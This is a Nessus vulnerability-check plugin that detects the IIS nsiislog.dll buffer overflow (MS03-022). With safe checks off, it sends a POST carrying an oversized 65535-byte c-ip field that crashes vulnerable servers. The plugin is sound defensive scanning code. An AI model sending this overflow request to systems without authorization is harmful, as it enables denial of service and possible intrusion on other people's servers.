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- #
- # (C) Tenable Network Security
- #
- #
- # Supercedes MS03-019
-
- if(description)
- {
- script_id(11664);
- script_bugtraq_id(7727, 8035);
- script_version ("$Revision: 1.12 $");
- script_cve_id("CAN-2003-0227", "CAN-2003-0349");
-
- name["english"] = "nsiislog.dll DoS";
-
-
- script_name(english:name["english"]);
-
- desc["english"] = "
- Some versions of IIS shipped with a default file, nsiislog.dll,
- within the /scripts directory. Nessus has determined that the
- remote host has the file installed.
-
- The NSIISLOG.dll CGI may allow an attacker to execute
- arbitrary commands on this host, through a buffer overflow.
-
- Solution : http://www.microsoft.com/technet/security/bulletin/ms03-022.mspx
-
- Risk factor : High";
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Determines the presence of nsiislog.dll";
-
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_MIXED_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
-
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
-
- script_family(english:family["english"], francais:family["francais"]);
-
- script_dependencie("find_service.nes", "http_version.nasl", "www_fingerprinting_hmap.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
- sig = get_kb_item("www/hmap/" + port + "/description");
- if ( sig && "IIS" >!< sig ) exit(0);
-
- req = http_get(item:"/scripts/nsiislog.dll", port:port);
- res = http_keepalive_send_recv(port:port, data:req);
- if("NetShow ISAPI Log Dll" >< res)
- {
- if(safe_checks()) {
- security_hole(port);
- exit(0);
- }
-
-
- all = make_list("date", "time", "c-dns", "cs-uri-stem", "c-starttime",
- "x-duration", "c-rate", "c-status", "c-playerid",
- "c-playerversion", "c-player-language", "cs(User-Agent)",
- "cs(Referer)", "c-hostexe");
-
- poison = NULL;
-
- foreach var (all)
- {
- poison += var + "=Nessus&";
- }
-
- poison += "c-ip=" + crap(65535);
-
- req = string("POST /scripts/nsiislog.dll HTTP/1.1\r\n",
- "Host: ", get_host_name(), "\r\n",
- "User-Agent: NSPlayer/2.0\r\n",
- "Content-Type: application/x-www-form-urlencoded\r\n",
- "Content-Length: ", strlen(poison), "\r\n\r\n") + poison;
-
- soc = http_open_socket(port);
- if(!soc)exit(0);
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
-
- # 2nd match fails on localized Windows
- if("HTTP/1.1 500 Server Error" >< r &&
- ("The remote procedure call failed. " >< r ||
- "<html><head><title>Error</title>" >< r))
- security_hole(port);
- }
-